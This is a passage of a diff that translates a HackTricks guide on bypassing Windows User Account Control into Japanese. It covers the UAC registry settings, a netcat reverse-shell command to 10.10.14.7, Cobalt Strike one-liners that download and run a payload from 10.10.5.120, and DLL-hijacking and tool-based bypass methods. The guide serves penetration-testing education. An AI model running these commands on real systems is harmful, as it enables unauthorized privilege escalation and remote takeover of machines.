level** is configured: - +次に、**どのレベル**が設定されているかを確認します。 ``` REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v ConsentPromptBehaviorAdmin HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System - ConsentPromptBehaviorAdmin REG_DWORD 0x5 +ConsentPromptBehaviorAdmin REG_DWORD 0x5 ``` +* もし **`0`** なら、UACはプロンプトを表示しません(**無効**のようなものです) +* もし **`1`** なら、管理者はバイナリを高い権限で実行するためにユーザ名とパスワードを要求されます(セキュアデスクトップ上で) +* もし **`2`** なら(**常に通知**)、管理者が高い権限で何かを実行しようとすると、UACは常に確認を求めます(セキュアデスクトップ上で) +* もし **`3`** なら、`1` と同じですが、セキュアデスクトップ上では必要ありません +* もし **`4`** なら、`2` と同じですが、セキュアデスクトップ上では必要ありません +* もし **`5`**(**デフォルト**)なら、管理者に対して非Windowsバイナリを高い権限で実行するかどうか確認を求めます -* If **`0`** then, UAC won't prompt (like **disabled**) -* If **`1`** the admin is **asked for username and password** to execute the binary with high rights (on Secure Desktop) -* If **`2`** (**Always notify me**) UAC will always ask for confirmation to the administrator when he tries to execute something with high privileges (on Secure Desktop) -* If **`3`** like `1` but not necessary on Secure Desktop -* If **`4`** like `2` but not necessary on Secure Desktop -* if **`5`**(**default**) it will ask the administrator to confirm to run non Windows binaries with high privileges +次に、**`LocalAccountTokenFilterPolicy`** の値を確認する必要があります。\ +もし値が **`0`** なら、**RID 500** ユーザ(**ビルトインの管理者**)のみがUACなしで**管理者タスクを実行**できます。もし値が `1` なら、**"Administrators"** グループ内のすべてのアカウントが実行できます。 -Then, you have to take a look at the value of **`LocalAccountTokenFilterPolicy`**\ -If the value is **`0`**, then, only the **RID 500** user (**built-in Administrator**) is able to perform **admin tasks without UAC**, and if its `1`, **all accounts inside "Administrators"** group can do them. +最後に、キー **`FilterAdministratorToken`** の値を確認します。\ +もし **`0`**(デフォルト)なら、**ビルトインの管理者アカウント** はリモート管理タスクを実行できます。もし **`1`** なら、ビルトインの管理者アカウントはリモート管理タスクを実行できません(ただし、`LocalAccountTokenFilterPolicy` が `1` に設定されている場合は除く)。 -And, finally take a look at the value of the key **`FilterAdministratorToken`**\ -If **`0`**(default), the **built-in Administrator account can** do remote administration tasks and if **`1`** the built-in account Administrator **cannot** do remote administration tasks, unless `LocalAccountTokenFilterPolicy` is set to `1`. +#### 要約 -#### Summary +* `EnableLUA=0` または **存在しない** 場合、**誰にもUACはありません** +* `EnableLua=1` かつ **`LocalAccountTokenFilterPolicy=1` の場合、誰にもUACはありません** +* `EnableLua=1` かつ **`LocalAccountTokenFilterPolicy=0` かつ `FilterAdministratorToken=0` の場合、RID 500(ビルトインの管理者)にはUACがありません** +* `EnableLua=1` かつ **`LocalAccountTokenFilterPolicy=0` かつ `FilterAdministratorToken=1` の場合、誰にもUACがあります** -* If `EnableLUA=0` or **doesn't exist**, **no UAC for anyone** -* If `EnableLua=1` and **`LocalAccountTokenFilterPolicy=1` , No UAC for anyone** -* If `EnableLua=1` and **`LocalAccountTokenFilterPolicy=0` and `FilterAdministratorToken=0`, No UAC for RID 500 (Built-in Administrator)** -* If `EnableLua=1` and **`LocalAccountTokenFilterPolicy=0` and `FilterAdministratorToken=1`, UAC for everyone** - -All this information can be gathered using the **metasploit** module: `post/windows/gather/win_privs` - -You can also check the groups of your user and get the integrity level: +これらの情報は、**metasploit** モジュール `post/windows/gather/win_privs` を使用して収集できます。 +また、ユーザのグループと整合性レベルを確認することもできます。 ``` net user %username% whoami /groups | findstr Level ``` - -## UAC bypass +## UACバイパス {% hint style="info" %} -Note that if you have graphical access to the victim, UAC bypass is straight forward as you can simply click on "Yes" when the UAS prompt appears +被害者に対してグラフィカルなアクセス権がある場合、UACバイパスは簡単です。UACのプロンプトが表示されたときに単純に「はい」をクリックするだけです。 {% endhint %} -The UAC bypass is needed in the following situation: **the UAC is activated, your process is running in a medium integrity context, and your user belongs to the administrators group**. +UACバイパスは、次の状況で必要です:**UACが有効になっており、プロセスが中間完全性コンテキストで実行され、ユーザーが管理者グループに所属している場合**。 -It is important to mention that it is **much harder to bypass the UAC if it is in the highest security level (Always) than if it is in any of the other levels (Default).** +重要なことは、**UACが最高のセキュリティレベル(常に)に設定されている場合は、他のレベル(デフォルト)に設定されている場合よりもUACバイパスがはるかに困難である**ということです。 -### UAC disabled - -If UAC is already disabled (`ConsentPromptBehaviorAdmin` is **`0`**) you can **execute a reverse shell with admin privileges** (high integrity level) using something like: +### UACが無効化されている場合 +UACが既に無効化されている場合(`ConsentPromptBehaviorAdmin`が**`0`**である場合)、次のような方法で**管理者特権(高い完全性レベル)で逆シェルを実行**できます: ```bash #Put your reverse shell instead of "calc.exe" Start-Process powershell -Verb runAs "calc.exe" Start-Process powershell -Verb runAs "C:\Windows\Temp\nc.exe -e powershell 10.10.14.7 4444" ``` - -#### UAC bypass with token duplication +#### トークン複製によるUACバイパス * [https://ijustwannared.team/2017/11/05/uac-bypass-with-token-duplication/](https://ijustwannared.team/2017/11/05/uac-bypass-with-token-duplication/) * [https://www.tiraniddo.dev/2018/10/farewell-to-token-stealing-uac-bypass.html](https://www.tiraniddo.dev/2018/10/farewell-to-token-stealing-uac-bypass.html) -### **Very** Basic UAC "bypass" (full file system access) +### **非常に**基本的なUAC "バイパス"(完全なファイルシステムアクセス) -If you have a shell with a user that is inside the Administrators group you can **mount the C$** shared via SMB (file system) local in a new disk and you will have **access to everything inside the file system** (even Administrator home folder). +管理者グループに所属するユーザーを持つシェルがある場合、SMB(ファイルシステム)を介してC$共有を**マウント**することができます。新しいディスクにローカルにマウントされ、ファイルシステム内のすべてに**アクセスできます**(管理者のホームフォルダーも含む)。 {% hint style="warning" %} -**Looks like this trick isn't working anymore** +**このトリックはもう機能しないようです** {% endhint %} - ```bash net use Z: \\127.0.0.1\c$ cd C$ @@ -145,11 +133,9 @@ cd C$ #Or you could just access it: dir \\127.0.0.1\c$\Users\Administrator\Desktop ``` +### Cobalt Strikeを使用したUACバイパス -### UAC bypass with cobalt strike - -The Cobalt Strike techniques will only work if UAC is not set at it's max security level - +Cobalt Strikeのテクニックは、UACが最大セキュリティレベルに設定されていない場合にのみ機能します。 ```bash # UAC bypass via token duplication elevate uac-token-duplication [listener_name] @@ -161,16 +147,12 @@ runasadmin uac-token-duplication powershell.exe -nop -w hidden -c "IEX ((new-obj # Bypass UAC with CMSTPLUA COM interface runasadmin uac-cmstplua powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.10.5.120:80/b'))" ``` +### UACバイパスのエクスプロイト -**Empire** and **Metasploit** also have several modules to **bypass** the **UAC**. - -### UAC bypass exploits - -[**UACME** ](https://github.com/hfiref0x/UACME)which is a **compilation** of several UAC bypass exploits. Note that you will need to **compile UACME using visual studio or msbuild**. The compilation will create several executables (like `Source\Akagi\outout\x64\Debug\Akagi.exe`) , you will need to know **which one you need.**\ -You should **be careful** because some bypasses will **prompt some other programs** that will **alert** the **user** that something is happening. - -UACME has the **build version from which each technique started working**. You can search for a technique affecting your versions: +[**UACME**](https://github.com/hfiref0x/UACME)は、複数のUACバイパスエクスプロイトのコンパイルです。UACMEをビジュアルスタジオまたはmsbuildを使用してコンパイルする必要があります。コンパイルにより、いくつかの実行可能ファイル(`Source\Akagi\outout\x64\Debug\Akagi.exe`など)が作成されますが、**必要なものを知る必要があります**。\ +いくつかのバイパスは、**ユーザーに何かが起こっていることを警告する他のプログラムを表示する**ことがありますので、**注意が必要です**。 +UACMEには、各テクニックが動作を開始したビルドバージョンがあります。自分のバージョンに影響を与えるテクニックを検索できます。 ``` PS C:\> [environment]::OSVersion.Version @@ -178,48 +160,47 @@ Major Minor Build Revision ----- ----- ----- -------- 10 0 14393 0 ``` +また、[この](https://en.wikipedia.org/wiki/Windows\_10\_version\_history)ページを使用すると、ビルドバージョンからWindowsリリース`1607`を取得できます。 -Also, using [this](https://en.wikipedia.org/wiki/Windows\_10\_version\_history) page you get the Windows release `1607` from the build versions. +#### さらなるUACバイパス -#### More UAC bypass +ここで使用されるUACバイパスのすべてのテクニックは、被害者との完全な対話シェルを必要とします(一般的なnc.exeシェルでは十分ではありません)。 -**All** the techniques used here to bypass AUC **require** a **full interactive shell** with the victim (a common nc.exe shell is not enough). - -You can get using a **meterpreter** session. Migrate to a **process** that has the **Session** value equals to **1**: +**meterpreter**セッションを使用して取得できます。**セッション**値が**1**に等しい**プロセス**に移行します。 ![](<../../.gitbook/assets/image (96).png>) -(_explorer.exe_ should works) +(_explorer.exe_が動作するはずです) -### UAC Bypass with GUI +### GUIを使用したUACバイパス -If you have access to a **GUI you can just accept the UAC prompt** when you get it, you don't really need a bypass it. So, getting access to a GUI will allow you to bypass the UAC. +**GUIにアクセスできる場合、UACプロンプトを受け入れるだけで**バイパスする必要はありません。したがって、GUIにアクセスできるとUACをバイパスできます。 -Moreover, if you get a GUI session that someone was using (potentially via RDP) there are **some tools that will be running as administrator** from where you could **run** a **cmd** for example **as admin** directly without being prompted again by UAC like [**https://github.com/oski02/UAC-GUI-Bypass-appverif**](https://github.com/oski02/UAC-GUI-Bypass-appverif). This might be a bit more **stealthy**. +さらに、(おそらくRDP経由で)他の誰かが使用していたGUIセッションにアクセスできる場合、[**https://github.com/oski02/UAC-GUI-Bypass-appverif**](https://github.com/oski02/UAC-GUI-Bypass-appverif)のような管理者として実行される**ツール**がいくつか実行されている可能性があります。これにより、UACによる再度のプロンプトなしに、例えば**cmdを管理者として直接実行**することができます。これは少し**ステルス**です。 -### Noisy brute-force UAC bypass +### 騒々しいブルートフォースUACバイパス -If you don't care about being noisy you could always **run something like** [**https://github.com/Chainski/ForceAdmin**](https://github.com/Chainski/ForceAdmin) that **ask to elevate permissions until the user does accepts it**. +騒々しくなることを気にしない場合、常に[**https://github.com/Chainski/ForceAdmin**](https://github.com/Chainski/ForceAdmin)のようなものを実行して、ユーザーが許可するまで権限の昇格を要求することができます。 -### Your own bypass - Basic UAC bypass methodology +### 独自のバイパス - 基本的なUACバイパスの方法論 -If you take a look to **UACME** you will note that **most UAC bypasses abuse a Dll Hijacking vulnerabilit**y (mainly writing the malicious dll on _C:\Windows\System32_). [Read this to learn how to find a Dll Hijacking vulnerability](../windows-local-privilege-escalation/dll-hijacking.md). +**UACME**を見ると、**ほとんどのUACバイパスがDll Hijackingの脆弱性を悪用**していることに気付くでしょう(主に悪意のあるdllを_C:\Windows\System32_に書き込む)。[Dll Hijackingの脆弱性を見つける方法については、こちらを読んでください](../windows-local-privilege-escalation/dll-hijacking.md)。 -1. Find a binary that will **autoelevate** (check that when it is executed it runs in a high integrity level). -2. With procmon find "**NAME NOT FOUND**" events that can be vulnerable to **DLL Hijacking**. -3. You probably will need to **write** the DLL inside some **protected paths** (like C:\Windows\System32) were you don't have writing permissions. You can bypass this using: - 1. **wusa.exe**: Windows 7,8 and 8.1. It allows to extract the content of a CAB file inside protected paths (because this tool is executed from a high integrity level). - 2. **IFileOperation**: Windows 10. -4. Prepare a **script** to copy your DLL inside the protected path and execute the vulnerable and autoelevated binary. +1. **自動昇格**するバイナリを見つけます(実行時に高い完全性レベルで実行されることを確認します)。 +2. procmonを使用して、**DLL Hijacking**に脆弱性のある**"NAME NOT FOUND"**イベントを見つけます。 +3. おそらく、書き込み権限がない**保護されたパス**(C:\Windows\System32など)にDLLを**書き込む**必要があるでしょう。これを回避するには、次の方法を使用できます。 +1. **wusa.exe**:Windows 7、8、および8.1。保護されたパス内にCABファイルの内容を抽出することができます(このツールは高い完全性レベルから実行されるため)。 +2. **IFileOperation**:Windows 10。 +4. 保護されたパスにDLLをコピーし、脆弱性のある自動昇格バイナリを実行するためのスクリプトを準備します。 -### Another UAC bypass technique +### 別のUACバイパスのテクニック -Consists on watching if an **autoElevated binary** tries to **read** from the **registry** the **name/path** of a **binary** or **command** to be **executed** (this is more interesting if the binary searches this information inside the **HKCU**). +**自動昇格バイナリ**が**レジストリ**から**実行される**バイナリまたは**コマンド**の**名前/パス**を**読み取ろうとする**かどうかを監視する方法です(これは、バイナリがこの情報を**HKCU**内で検索する場合に特に興味深いです)。 ![](<../../.gitbook/assets/image (9) (1) (2).png>) -Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: +[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**できます。\ +今すぐアクセスしてください: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} @@ -227,10 +208,10 @@ Get Access Today: ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ企業で働いていますか? HackTricksであなたの会社を宣伝したいですか?または、最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロードしたりしたいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!** +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォローしてください。** +* **ハッキングのトリックを共有するには、**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **および** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。**